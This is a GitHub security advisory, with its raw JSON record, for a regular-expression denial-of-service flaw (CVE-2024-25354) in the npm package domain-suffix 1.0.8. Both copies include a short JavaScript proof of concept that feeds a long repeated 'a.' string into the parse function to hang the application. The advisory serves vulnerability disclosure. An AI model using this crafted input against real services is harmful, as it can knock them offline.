GHSA-CQFH-C4C5-C2HG

Vulnerability from github – Published: 2024-03-28 00:31 – Updated: 2025-09-03 15:16
VLAI?
Summary
domain-suffix RegEx Denial of Service
Details

RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.

PoC

async function exploit() {
   const domainsuffix = require(\"domain-suffix\");
   // Crafting a string that will cause excessive backtracking
   const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
   const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();
Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "domain-suffix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-29T18:02:23Z",
    "nvd_published_at": "2024-03-27T22:15:10Z",
    "severity": "HIGH"
  },
  "details": "RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n   const domainsuffix = require(\\\"domain-suffix\\\");\n   // Crafting a string that will cause excessive backtracking\n   const maliciousInput = \\\"a.\\\".repeat(10000) + \\\"b\\\"; // This will create a long sequence of \\\"a.\\\" followed by \\\"b\\\"\n   const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```",
  "id": "GHSA-cqfh-c4c5-c2hg",
  "modified": "2025-09-03T15:16:09Z",
  "published": "2024-03-28T00:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25354"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/6en6ar/c3b11b4058b8e2bc54717408d451fb79"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ikrong/domain-suffix"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "domain-suffix RegEx Denial of Service"
}


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